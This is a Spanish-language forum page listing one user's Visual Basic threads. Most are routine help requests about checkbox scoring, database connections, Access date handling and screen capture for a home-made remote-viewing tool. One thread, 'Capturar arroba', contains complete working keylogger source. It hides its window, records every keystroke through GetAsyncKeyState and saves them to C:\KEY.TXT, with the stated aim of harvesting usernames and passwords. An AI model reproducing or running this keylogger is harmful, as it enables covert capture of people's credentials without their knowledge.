Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Temas - fernandos85al@hotmail.com

Páginas: [1] 2
1
Visual Basic 6 / Captura de pantalla para envió a servidor FTP
« en: Marzo 31, 2013, 02:30:32 am »
Hola gente, mil disculpas que escriba más sobre la captura de pantalla con vb6, estuve mirando `hay infinidades de  ejemplos pero con todos me sucede exactamente lo mismo....  cuanto un poco, estoy viendo la posibildad de realizar una aplicación de control remoto algo parecida, al TeamViewer o al VNC,, en vb6.  Capturo la pantalla con vb6, y la envio a un servidor ftp, pero tengo varios porblemas, por un lado el envio de la imagen es lento, depende de muchas cosas....
Al capturar la pantalla, esta no se "refresca" lo que hace es copiar una y otra vez la misma imagen con algunos cambios hacia la derecha, osea que queda horrible, una imagen apenas perceptible.... estoy tratando de que se vea lo mas real posible, no se si me explico??? o sea lo que quiero hacer es ver por decir algo una imagen "en tiempo real" de lo que pasa en una computadora en china, desde la mia en casa, aclaro que no es con fines maliciosos, ni maleficos...
pongo un codigo que me funciono bien, pero la imagen resultante se copia una y otra vez a la derecha, y queda horrible..

en un formulario: colocar 1 picture, 1  timer (para capturar cada cierto tiempo)
Código: [Seleccionar]
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private Sub Form_Load()
   
    GdipInitialized = False
   
    ' GDI+ initialisieren
    If Execute(StartUpGDIPlus(GdiPlusVersion)) = OK Then
        GdipInitialized = True
    Else
        MsgBox "GDI+ not inizialized.", vbOKOnly, "GDI Error"
    End If

End Sub
Private Sub Form_Unload(Cancel As Integer)
   
    ' ist GDI+ Initialisiert
    If GdipInitialized = True Then
       
        ' GDI+ beenden
        Call Execute(ShutDownGDIPlus)
    End If
End Sub

Private Sub Timer1_Timer()


Picture1.ScaleMode = vbPixels
Picture1.AutoRedraw = True
Picture1.Move 0, 0, Screen.Width, Screen.Height
StretchBlt Picture1.hdc, 0, 0, Screen.Width, Screen.Height, GetDC(0), 0, 0, Screen.Width, Screen.Height, vbSrcCopy
If GdipInitialized Then SavePictureAsPNG Picture1.image, "C:\Pantalla.png"
End Sub





y en un modulo

Código: [Seleccionar]
'Dieser Source stammt von http://www.activevb.de
'und kann frei verwendet werden. Für eventuelle Schäden
'wird nicht gehaftet.

'Um Fehler oder Fragen zu klären, nutzen Sie bitte unser Forum.
'Ansonsten viel Spaß und Erfolg mit diesem Source!

Option Explicit

' ----==== GDI+ Konstanten ====----
Public Const GdiPlusVersion As Long = 1
Private Const mimePNG As String = "image/png"

' ----==== Sonstige Typen ====----
Private Type GUID
    Data1 As Long
    Data2 As Integer
    Data3 As Integer
    Data4(0 To 7) As Byte
End Type

Private Type IID
    Data1 As Long
    Data2 As Integer
    Data3 As Integer
    Data4(0 To 7)  As Byte
End Type

Private Type PICTDESC
    cbSizeOfStruct As Long
    picType As Long
    hgdiObj As Long
    hPalOrXYExt As Long
End Type

' ----==== GDI+ Typen ====----
Private Type ImageCodecInfo
    Clsid As GUID
    FormatID As GUID
    CodecNamePtr As Long
    DllNamePtr As Long
    FormatDescriptionPtr As Long
    FilenameExtensionPtr As Long
    MimeTypePtr As Long
    flags As Long
    Version As Long
    SigCount As Long
    SigSize As Long
    SigPatternPtr As Long
    SigMaskPtr As Long
End Type

Private Type GdiplusStartupOutput
    NotificationHook As Long
    NotificationUnhook As Long
End Type

Private Type GDIPlusStartupInput
    GdiPlusVersion As Long
    DebugEventCallback As Long
    SuppressBackgroundThread As Long
    SuppressExternalCodecs As Long
End Type

' ----==== GDI+ Enumerationen ====----
' GDI+ Status
Public Enum Status
    OK = 0
    GenericError = 1
    InvalidParameter = 2
    OutOfMemory = 3
    ObjectBusy = 4
    InsufficientBuffer = 5
    NotImplemented = 6
    Win32Error = 7
    WrongState = 8
    Aborted = 9
    FileNotFound = 10
    ValueOverflow = 11
    AccessDenied = 12
    UnknownImageFormat = 13
    FontFamilyNotFound = 14
    FontStyleNotFound = 15
    NotTrueTypeFont = 16
    UnsupportedGdiplusVersion = 17
    GdiplusNotInitialized = 18
    PropertyNotFound = 19
    PropertyNotSupported = 20
    ProfileNotFound = 21
End Enum

' ----==== GDI+ API Deklarationen ====----
Private Declare Function GdipCreateBitmapFromFile Lib "gdiplus" _
    (ByVal FileName As Long, ByRef Bitmap As Long) As Status

Private Declare Function GdipCreateBitmapFromHBITMAP Lib "gdiplus" _
    (ByVal hbm As Long, ByVal hPal As Long, _
    ByRef Bitmap As Long) As Status

Private Declare Function GdipCreateHBITMAPFromBitmap Lib "gdiplus" _
    (ByVal Bitmap As Long, ByRef hbmReturn As Long, _
    ByVal background As Long) As Status

Private Declare Function GdipDisposeImage Lib "gdiplus" _
    (ByVal image As Long) As Status

Private Declare Function GdipGetImageEncoders Lib "gdiplus" _
    (ByVal numEncoders As Long, ByVal Size As Long, _
    ByRef Encoders As Any) As Status

Private Declare Function GdipGetImageEncodersSize Lib "gdiplus" _
    (ByRef numEncoders As Long, ByRef Size As Long) As Status

Private Declare Function GdiplusShutdown Lib "gdiplus" _
    (ByVal token As Long) As Status

Private Declare Function GdiplusStartup Lib "gdiplus" _
    (ByRef token As Long, ByRef lpInput As GDIPlusStartupInput, _
    Optional ByRef lpOutput As Any) As Status

Private Declare Function GdipSaveImageToFile Lib "gdiplus" _
    (ByVal image As Long, ByVal FileName As Long, _
    ByRef clsidEncoder As GUID, _
    ByRef encoderParams As Any) As Status

' ----==== OLE API Deklarationen ====----
Private Declare Sub OleCreatePictureIndirect Lib "oleaut32.dll" _
    (lpPictDesc As PICTDESC, riid As IID, _
    ByVal fOwn As Boolean, lplpvObj As Object)

' ----==== Kernel API Deklarationen ====----
Private Declare Function lstrcpyW Lib "kernel32" _
    (lpString1 As Any, lpString2 As Any) As Long

Private Declare Function lstrlenW Lib "kernel32" _
    (lpString As Any) As Long

' ----==== Variablen ====----
Dim GdipToken As Long
Public GdipInitialized As Boolean

'------------------------------------------------------
' Funktion     : Execute
' Beschreibung : Gibt im Fehlerfall die entsprechende
'                GDI+ Fehlermeldung aus
' Übergabewert : GDI+ Status
' Rückgabewert : GDI+ Status
'------------------------------------------------------
Public Function Execute(ByVal lReturn As Status) As Status
    Dim lCurErr As Status
    If lReturn = Status.OK Then
        lCurErr = Status.OK
    Else
        lCurErr = lReturn
        MsgBox GdiErrorString(lReturn) & " GDI+ Error:" _
        & lReturn, vbOKOnly, "GDI Error"
    End If
    Execute = lCurErr
End Function

'------------------------------------------------------
' Funktion     : GdiErrorString
' Beschreibung : Umwandlung der GDI+ Statuscodes in Stringcodes
' Übergabewert : GDI+ Status
' Rückgabewert : Fehlercode als String
'------------------------------------------------------
Private Function GdiErrorString(ByVal lError As Status) As String
    Dim s As String
   
    Select Case lError
    Case GenericError:              s = "Generic Error."
    Case InvalidParameter:          s = "Invalid Parameter."
    Case OutOfMemory:               s = "Out Of Memory."
    Case ObjectBusy:                s = "Object Busy."
    Case InsufficientBuffer:        s = "Insufficient Buffer."
    Case NotImplemented:            s = "Not Implemented."
    Case Win32Error:                s = "Win32 Error."
    Case WrongState:                s = "Wrong State."
    Case Aborted:                   s = "Aborted."
    Case FileNotFound:              s = "File Not Found."
    Case ValueOverflow:             s = "Value Overflow."
    Case AccessDenied:              s = "Access Denied."
    Case UnknownImageFormat:        s = "Unknown Image Format."
    Case FontFamilyNotFound:        s = "FontFamily Not Found."
    Case FontStyleNotFound:         s = "FontStyle Not Found."
    Case NotTrueTypeFont:           s = "Not TrueType Font."
    Case UnsupportedGdiplusVersion: s = "Unsupported Gdiplus Version."
    Case GdiplusNotInitialized:     s = "Gdiplus Not Initialized."
    Case PropertyNotFound:          s = "Property Not Found."
    Case PropertyNotSupported:      s = "Property Not Supported."
    Case Else:                      s = "Unknown GDI+ Error."
    End Select
   
    GdiErrorString = s
End Function

'------------------------------------------------------
' Funktion     : GetEncoderClsid
' Beschreibung : Ermittelt die Clsid des Encoders
' Übergabewert : mimeType = mimeType des Encoders
'                pClsid = CLSID des Encoders (in/out)
' Rückgabewert : True = Ermitteln erfolgreich
'                False = Ermitteln fehlgeschlagen
'------------------------------------------------------
Private Function GetEncoderClsid(mimeType As String, _
    pClsid As GUID) As Boolean
   
    Dim Num As Long
    Dim Size As Long
    Dim pImageCodecInfo() As ImageCodecInfo
    Dim j As Long
    Dim buffer As String
   
    Call GdipGetImageEncodersSize(Num, Size)
    If (Size = 0) Then
        ' fehlgeschlagen
        GetEncoderClsid = False
        Exit Function
    End If
   
    ReDim pImageCodecInfo(0 To Size \ Len(pImageCodecInfo(0)) - 1)
   
    Call GdipGetImageEncoders(Num, Size, pImageCodecInfo(0))
   
    For j = 0 To Num - 1
       
        buffer = _
        Space$(lstrlenW(ByVal pImageCodecInfo(j).MimeTypePtr))
       
        Call lstrcpyW(ByVal StrPtr(buffer), _
        ByVal pImageCodecInfo(j).MimeTypePtr)
       
        If (StrComp(buffer, mimeType, vbTextCompare) = 0) Then
            pClsid = pImageCodecInfo(j).Clsid
            Erase pImageCodecInfo
            ' erfolgreich
            GetEncoderClsid = True
            Exit Function
        End If
    Next j
   
    Erase pImageCodecInfo
    ' fehlgeschlagen
    GetEncoderClsid = False
End Function

'------------------------------------------------------
' Funktion     : HandleToPicture
' Beschreibung : Umwandeln eines Bitmap Handle
'                in ein StdPicture Objekt
' Übergabewert : hGDIHandle = Bitmap Handle
'                ObjectType = Bitmaptyp
' Rückgabewert : StdPicture Objekt
'------------------------------------------------------
Private Function HandleToPicture(ByVal hGDIHandle As Long, _
    ByVal ObjectType As PictureTypeConstants, _
    Optional ByVal hPal As Long = 0) As StdPicture
   
    Dim tPictDesc As PICTDESC
    Dim IID_IPicture As IID
    Dim oPicture As IPicture
   
    ' Initialisiert die PICTDESC Structur
    With tPictDesc
        .cbSizeOfStruct = Len(tPictDesc)
        .picType = ObjectType
        .hgdiObj = hGDIHandle
        .hPalOrXYExt = hPal
    End With
   
    ' Initialisiert das IPicture Interface ID
    With IID_IPicture
        .Data1 = &H7BF80981
        .Data2 = &HBF32
        .Data3 = &H101A
        .Data4(0) = &H8B
        .Data4(1) = &HBB
        .Data4(3) = &HAA
        .Data4(5) = &H30
        .Data4(6) = &HC
        .Data4(7) = &HAB
    End With
   
    ' Erzeugen des Objekts
    OleCreatePictureIndirect tPictDesc, IID_IPicture, _
    True, oPicture
   
    ' Rückgabe des Pictureobjekts
    Set HandleToPicture = oPicture
   
End Function

'------------------------------------------------------
' Funktion     : LoadPicturePlus
' Beschreibung : Lädt ein Bilddatei per GDI+
' Übergabewert : Pfad\Dateiname der Bilddatei
' Rückgabewert : StdPicture Objekt
'------------------------------------------------------
Public Function LoadPicturePlus( _
    ByVal sFileName As String) As StdPicture
   
    Dim lBitmap As Long
    Dim hBitmap As Long
   
    ' Öffnet die Bilddatei in lBitmap
    If Execute(GdipCreateBitmapFromFile(StrPtr(sFileName), _
    lBitmap)) = OK Then
       
        ' Handle der Bitmap ermitteln lBitmap -> hBitmap
        If Execute(GdipCreateHBITMAPFromBitmap(lBitmap, _
        hBitmap, 0)) = OK Then
           
            ' Erzeugen des StdPicture Objekts von hBitmap
            Set LoadPicturePlus = HandleToPicture(hBitmap, _
            vbPicTypeBitmap)
        End If
       
        ' Lösche lBitmap
        Call Execute(GdipDisposeImage(lBitmap))
       
    End If
End Function

'------------------------------------------------------
' Funktion     : SavePictureAsPNG
' Beschreibung : Speichert ein StdPicture Objekt
'                per GDI+ als PNG
' Übergabewert : Pic = StdPicture Objekt
'                FileName = Pfad\Dateiname.png
' Rückgabewert : True = speichern erfolgreich
'                False = speichern fehlgeschlagen
'------------------------------------------------------
Public Function SavePictureAsPNG(ByVal Pic As StdPicture, _
    ByVal sFileName As String) As Boolean
   
    Dim lBitmap As Long
    Dim tPicEncoder As GUID
   
    ' Erzeugt eine GDI+ Bitmap vom
    ' StdPicture Handle -> lBitmap
    If Execute(GdipCreateBitmapFromHBITMAP( _
    Pic.Handle, 0, lBitmap)) = OK Then
       
        ' Ermitteln der CLSID vom mimeType Encoder
        If GetEncoderClsid(mimePNG, tPicEncoder) = True Then
           
            ' Speichert lBitmap als PNG
            If Execute(GdipSaveImageToFile(lBitmap, _
            StrPtr(sFileName), tPicEncoder, ByVal 0)) = OK Then
               
                ' speichern erfolgreich
                SavePictureAsPNG = True
            Else
                ' speichern nicht erfolgreich
                SavePictureAsPNG = False
            End If
        Else
            ' speichern nicht erfolgreich
            SavePictureAsPNG = False
            MsgBox "Konnte keinen passenden Encoder ermitteln.", _
            vbOKOnly, "Encoder Error"
        End If
       
        ' Lösche lBitmap
        Call Execute(GdipDisposeImage(lBitmap))
       
    End If
End Function

'------------------------------------------------------
' Funktion     : StartUpGDIPlus
' Beschreibung : Initialisiert GDI+ Instanz
' Übergabewert : GDI+ Version
' Rückgabewert : GDI+ Status
'------------------------------------------------------
Public Function StartUpGDIPlus(ByVal GdipVersion As Long) As Status
    ' Initialisieren der GDI+ Instanz
    Dim tGdipStartupInput As GDIPlusStartupInput
    Dim tGdipStartupOutput As GdiplusStartupOutput
   
    tGdipStartupInput.GdiPlusVersion = GdipVersion
    StartUpGDIPlus = GdiplusStartup(GdipToken, _
    tGdipStartupInput, tGdipStartupOutput)
End Function

'------------------------------------------------------
' Funktion     : ShutDownGDIPlus
' Beschreibung : Beendet die GDI+ Instanz
' Rückgabewert : GDI+ Status
'------------------------------------------------------
Public Function ShutDownGDIPlus() As Status
    ' Beendet GDI+ Instanz
    ShutDownGDIPlus = GdiplusShutdown(GdipToken)
    GdipInitialized = False
End Function






'aclaro que este codigo no es mio... lo encontre aqui si no me falla la memoria, http://leandroascierto.com/foro/index.php?topic=154.msg676#msg676   



¿que me recomiendan? ¿alguien ha hecho algo parecido? no creo ser el único por lo que he visto...


si alguien puede aportar una palabra, le agradezco muchísimo!!!  hace meses y meses que pienso y pienso.... 


saludos cordiales!!!

2
Visual Basic 6 / error desconocido
« en: Noviembre 17, 2012, 04:10:28 pm »
Hola gente linda!!! como están? en esta oportunidad estoy tratando de realizar una  pequeña aplicación en vb6, donde se presenta un formulario con distintas opciones, y por cada check correcto se asigna 1 punto. Al finalizar en un command se debería obtener el resultado de la sumatoria de los check seleccionados correctamente....

pongo el código, siempre me da como resultado final el valor 1, es como un multiple choice en un examen.... presento distintas opciones sobre un tema dado, ejemplo: elementos de una ferreteria:

1- seleccione la opción correcta:
   A-MARTILLO
   B-GATO
   C-HOJAS
   D-CLAVOS
   E-PLUMAS

En este ejemplo las correctas serian las opciones A y D, al seleccionar obtienen como resultado un 4, siendo que cada una valdria 2 puntos para llegar al 10. No se si se entiende...


dejo mi código, y una imagen de un ejemplo..

Código: [Seleccionar]
Dim suma() As Integer  'Contiene el valor de cada item(checkbox)
Dim total As Integer  'guarda la sumatoria total
Private Sub Check1_Click(Index As nteger)
ReDim suma(6) As Integer
Select Case Check1(Index).Value
Case 0
suma(0) = 2 ' si se selecciona y es correcta se asigna 2 puntos que se guarda en suma(0)
Case 1
suma(1) = 2
Case 2
suma(2) = 2
Case 3
suma(3) = 2
Case 4
suma(4) = 2
End Select
total = suma(0) + suma(1) + suma(2) + suma(3) + suma(4) + suma(5) ' suma total
End Sub
Private Sub Command1_Click()
MsgBox "Resultado:" & total, vbOKOnly + vbInformation, "Resultado total" ' muestra el resultado obtenido
End Sub



http://www.ziddu.com/download/20904367/Suma.JPG.html




es algo muy simple pero no logro ver el error.... si alguien sabe, le agradecería muchísimo!!



desde ya muchísimas gracias  + gracias por leer=usuario agradecido!!! jeje


saludos cordiales!!!
   
 
 

3
Hola gente!!! buenas, como están todos? yo, acá hace mas de un mes que me esta quemando las pocas neuronas que me quedan este "problema" que tengo... les cuento:

estoy estudiando a distancia la carrera de analista en systemas, estoy proximo a rendir una "materia" que se llama programación III, en la cual se "ve..." Visual studio. net 2008....

La cuestion es que nos dieron como proyecto hacer un programita que lleve el control de una Biblioteca, la parte de os formularios esta...
y nos piden usar si o si, usar sql para crear, una base de datos (sql 2005 ó 2008), a la base de datos el profesor la dejó en el campus para que si queriamos la descargaramos y utilicemos.... la cuestion es que me lleve la sorpresa de que me es imposible conectarme a esa base, me da miles de errores, probe con toda solucion posible, instale windows xp, windows Seven, Windows 8, Sql server 2005, 2008, Actualizaciones tanto para sql, como para Visual studio 2008 y 2010 pero ninguna funciona...

actualmente tengo conviviendo el sql server 2005, con visual studio 2008, y nada, cualquier otra base en .mdf la puedo acceder, menos la que descargue..

dejo el formulario, la base de datos (.mdf), y algunas capturas de pantallas con algunos errores que me arroja, si alguien sabe algo, le agradecería infinitamente!!!!

Link formulario:
http://www.ziddu.com/download/20421649/Biblioteca.zip.html

es un archivo .zip que pesa 2.20 Mb, dentro de este estan los formularios, algunos íconos, y un programita llamado Systools Mdf Viewer 1.0 con el que pude ver la estructura de la vendita base de datos .mdf


aclaro que esta totalmente libre de virus el .zip


saludos cordiales!!


4
Visual Basic .NET / C# / Problema con vb.net 2008
« en: Septiembre 12, 2012, 11:10:40 am »
Hola gente!!! como están? una pregunta, que puede estar pasando con la copia de visual studio .net express edition 2008, inicio un proyecto nuevo, lo guardo, pero al cerrarlo y al querer abrirlo, aparece como proyecto reciente, pero no me cargan los formularios, y agregándolos uno por uno, no me admite tampoco...

en que me estaré equivocando? agradezco mucho las respuestas a todos que me han dado en temas anteriores que inicie!


saludos cordiales! aclaro que estuve 3 días buscando alguna solución al problema, pero no encontré nada

5
Visual Basic .NET / C# / error con VB.NET & Base de datos Sql
« en: Septiembre 07, 2012, 11:09:50 am »
Hola gente!!! como están todos? estoy haciendo una aplicación con vb.net 2008, y una base de datos en sql, pero al agregar la base de datos, desde el menu datos, y al probar la conexión con la misma, me da un error.... mire las configuraciones, pero no encuentro el error, no se realmente a que se debe...
dejo una imagen del error..


si alguien sabe de que se trata el error, y como solucionarlo, le agradecería muchísimo!!!

saludos cordiales!!!

6
Bases de Datos / problema con fecha al guardar en bd de access
« en: Agosto 19, 2012, 01:32:41 am »
Hola gente! estoy haciendo una aplicación que debe guardar un registro de usuarios, cuando ingresan al sistema por ejemplo, algo asi...

código fuente

Código: [Seleccionar]

Dim Cnn As ADODB.Connection
Dim rs As ADODB.Recordset
Dim SQL As String
Dim sPath As String


Private Sub Command1_Click()
sPath = App.Path & "\" & "Peaje.mdb"


Set Cnn = New ADODB.Connection
Cnn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & _
sPath & _
";Persist Security Info=False; Jet OLEDB:Database Password = "
Cnn.Open


Set rs = New ADODB.Recordset
SQL = "Insert into Tabla1 (Fecha) values" & "(" & _
Label1.Caption & ")"

rs.Open SQL, Cnn, adOpenStatic, adLockOptimistic
End Sub

Private Sub Form_Load()
Label1.Caption = Date
End Sub




como controles pongo un label y un command1


hasta acá todo va bien, al parecer, el problema se me presenta cuando verifico en la base de datos creada en access me guarda otra fecha totalmente distinta a la que me muestra el label, que es elque deberia aparecer en la tabla de access..


por ejemplo: si en el label aparece 10/08/2012, en la tabla en el campo fecha me guarda: 31/10/1899.


busque por todos los rincones, el error, pero no logro verlo...


la fecha y hora del sistema están actualizadas.. que hago mal?


agradezco infinitamente por leer!!!

no se si me explico...????

saludos a todos!

7
General / Pasar imagen bmp, jpg, tiff, etc... a texto
« en: Agosto 13, 2012, 12:25:51 pm »
Hola Hola Hola gente!!! tanto tiempo ausente!!!esta vez, comparto una web, que me saco varias veces de apuros, ¿Alguna vez se encontraron con la necesidad de pasar algún texto de alguna imagen a texto?, bueno buscando y mirando en Internet, encontré hace tiempo esta web: http://www.free-ocr.com/
Lo único malo que le veo, es que tiene un limite de 2 MB, como tamaño máximo para cargar y procesar!!


espero que a alguien le sea de utilidad!


saludos cordiales a todos!!! ;D ;D ;)

8
Visual Basic 6 / Capturar arroba "@"
« en: Mayo 01, 2012, 11:38:26 pm »
Hola gente, como están? tengo un problema, estoy tratando de diseñar algún programa para el auto guardado de contraseñas y usuarios, aclaro para uso personal. estuve pensando en aplicar un keyloger o un hook. Con cualquiera de las dos opciones puedo grabar todo en un .txt, pero me es imposible capturar el arroba, al altGr, entre otros. Mi idea es aplicar el keyloger, y que en un listbox por ejemplo aparezcan solo los usuarios y contraseñas, solo eso, que lo demás que se escriba en el .txt se ignore.-

dejo el codigo del keyloger que estoy usando.
Código: [Seleccionar]
Option Explicit

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim i
Dim LastData As String
Dim Shift As Integer
Dim Caps As Integer
Dim KeyResult As Long

Private Sub AddKey(Key As String)
Text1 = Text1 & Key
Text1.SelStart = Len(Text1)
End Sub

Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 1

Timer2.Enabled = True
Timer2.Interval = 100

Timer3.Enabled = True
Timer3.Interval = 1
Form1.Visible = False
'En el Form_Load del text-box:
Dim LTmp As Long
LTmp = SendMessage(Text1.hwnd, EM_LIMITTEXT, 0, ByVal 0&)

End Sub

Private Sub Form_Unload(Cancel As Integer)
Form3.Show
Me.Hide
End Sub

Private Sub Timer1_Timer()
KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
If Caps Then
Caps = False
Else
Caps = True
End If
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
AddKey "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8)
If KeyResult = -32767 Then
AddKey "[BKSPACE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey "[TAB]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
AddKey "[Esc]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey "[Espacio]"
GoTo KeyFound
End If

KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
AddKey "[LEFT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
AddKey "[UP]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
AddKey "[RIGHT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
AddKey "[DOWN]"
GoTo KeyFound
End If
For i = 65 To 90
KeyResult = GetAsyncKeyState(i)
If KeyResult = -32767 Then
If Shift Then
If Caps Then AddKey Chr(i + 32) Else AddKey Chr(i)
Else
If Caps Then AddKey Chr(i) Else AddKey Chr(i + 32)
End If
GoTo KeyFound
End If
Next i
For i = 48 To 57
KeyResult = GetAsyncKeyState(i)
If KeyResult = -32767 Then
If Shift Then
If i = 49 Then AddKey Chr(33)
If i = 50 Then AddKey Chr(64)
If i = 51 Then AddKey Chr(35)
If i = 52 Then AddKey Chr(36)
If i = 53 Then AddKey Chr(37)
If i = 54 Then AddKey Chr(94)
If i = 55 Then AddKey Chr(38)
If i = 56 Then AddKey Chr(42)
If i = 57 Then AddKey Chr(40)
If i = 48 Then AddKey Chr(41)
Else
AddKey Chr(i)
End If
GoTo KeyFound
End If
Next i
KeyResult = GetAsyncKeyState(16)
If KeyResult = -32767 And Not Shift Then
Shift = True
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey " "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
If Shift Then AddKey "_" Else AddKey "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
If Shift Then AddKey "+" Else AddKey "="
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey "[F1]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey "[F2]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey "[F3]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey "[F4]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey "[F5]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey "[F6]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey "[F7]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey "[F8]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey "[F9]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey "[F10]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey "[F11]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey "[F12]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(124)
If KeyResult = -32767 Then
AddKey "[F13]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(125)
If KeyResult = -32767 Then
AddKey "[F14]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(126)
If KeyResult = -32767 Then
AddKey "[F15]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(127)
If KeyResult = -32767 Then
AddKey "[F16]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
If Shift Then AddKey ":" Else AddKey ";"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
If Shift Then AddKey "<" Else AddKey ","
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
If Shift Then AddKey ">" Else AddKey "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
If Shift Then AddKey "?" Else AddKey "/"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
If Shift Then AddKey "~" Else AddKey "`"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
If Shift Then AddKey Chr(34) Else AddKey "'"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
If Shift Then AddKey "|" Else AddKey ""
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
If Shift Then AddKey "}" Else AddKey "]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(219)
If KeyResult = -32767 Then
If Shift Then AddKey "{" Else AddKey "["
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
AddKey "0"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
AddKey "1"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(98)
If KeyResult = -32767 Then
AddKey "2"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
AddKey "3"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
AddKey "4"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
AddKey "5"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
AddKey "6"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
AddKey "7"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
AddKey "8"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
AddKey "9"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey "*"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey "+"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(108)
If KeyResult = -32767 Then
AddKey "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(111)
If KeyResult = -32767 Then
AddKey "/"
GoTo KeyFound
End If
KeyFound:

End Sub

Private Sub Timer2_Timer()
On Error Resume Next
Dim graba As String

graba = "C:\KEY.TXT" 'direccion en donde se va a guardar automaticamente el contenido detectado mas el nombre del archivo con extension "TXT" pero nunca le quiten las comillas... ej.: "D:Resultado.txt"

Open graba For Output As #1
Print #1, Date & vbCrLf & "--------------------------------" & vbCrLf; Text1.Text

Close #1

End Sub






Código: [Seleccionar]
'esto va en un modulo
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Public Const WM_USER = &H400
Public Const EM_LIMITTEXT = WM_USER + 21




Sinceramente, no encuentro solución a esto...

sólo pido si alguien sabe, me pudiera orientar un poco...


desde ya agradezco mucho, por leer!
saludos.

9
General / consulta
« en: Febrero 23, 2012, 08:07:28 pm »
